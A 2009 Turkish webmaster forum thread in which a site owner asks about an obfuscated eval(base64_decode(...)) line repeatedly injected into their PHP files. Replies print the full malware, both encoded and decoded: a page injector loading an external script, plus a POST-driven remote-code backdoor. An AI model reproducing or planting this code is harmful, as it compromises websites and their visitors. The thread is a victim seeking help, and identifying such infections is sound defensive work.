<?php eval(base64_decode bu kod ne işe yarıyor bilen var mı ?

31-10-2009, 15:02:39

arkadaşlar scriptimdeki 3-4 dosyanın üstün satırında <?php yazmazı gerekirken bu alttaki kod yazıyor site biraz açık kalıyor sonra bakıyorum dosyalara <?php yazan yer değişmiş alttaki kod ile o kodu silip <?php yazınca script normal çalışmaya başlıyor bunun sebebi ne olabilir ?

<?php eval(base64_decode('aWYoIWlzc2V0KCRxcjB6MSkpe2Z1bmN0aW9uIHFyMHooJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYocHJlZ19tYXRjaCgnIyB3aWR0aFxzKj1ccypbXCciXT8wKlswMV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwzUm9ZV3hoYzNOaGNISnZiVzkwYVc5dUxtVjFMM05qY21sd2RITXZjR0ZuWldWaGNsOXpMbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMpO2Vsc2VpZihzdHJwb3MoJHMsJyxhJykpJHMuPSRhO3JldHVybiAkczt9ZnVuY3Rpb24gcXIwejIoJGEsJGIsJGMsJGQpe2dsb2JhbCAkcXIwejE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJHFyMHoxKSljYWxsX3VzZXJfZnVuYygkcXIwejEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSkgYXMgJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0ncXIweicpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSAkc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdxcjB6Jyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JHFyMHpsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdxcjB6MicpKSE9J3FyMHoyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?><?php

31-10-2009, 15:08:21

#2

pymd

Kimlik doğrulama veya yönetimden onay bekliyor.

şifreli sayfada ondan */ eval(base64_decode */ var
sayfalar kendisi değişiyorsa iframe virüsü olabilir

31-10-2009, 15:11:10

#3

KingMania

Çözülmüş hali

if(!isset($qr0z1)){function qr0z($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL3RoYWxhc3NhcHJvbW90aW9uLmV1L3NjcmlwdHMvcGFnZWVhcl9zLnBocCA+PC9zY3JpcHQ+'),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function qr0z2($a,$b,$c,$d){global $qr0z1;$s=array();if(function_exists($qr0z1))call_user_func($qr0z1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='qr0z')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('qr0z');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$qr0zl=(($a=@set_error_handler('qr0z2'))!='qr0z2')?$a:0;eval(base64_decode($_POST['e']));

31-10-2009, 15:11:11

#4

burayakadar

sayfa kendisi değiştiriyor hocam ben değiştiriyorum bir müddet sonra geri

Alıntı

<?php eval(base64_decode

geri bu kod yazıyor bunun için ne yapabilirim bi fikriniz var mı ?

@kingmania hocam o çözülmüş kodu yazınca sorun ortadan kalkar mı ?

31-10-2009, 15:16:18

#5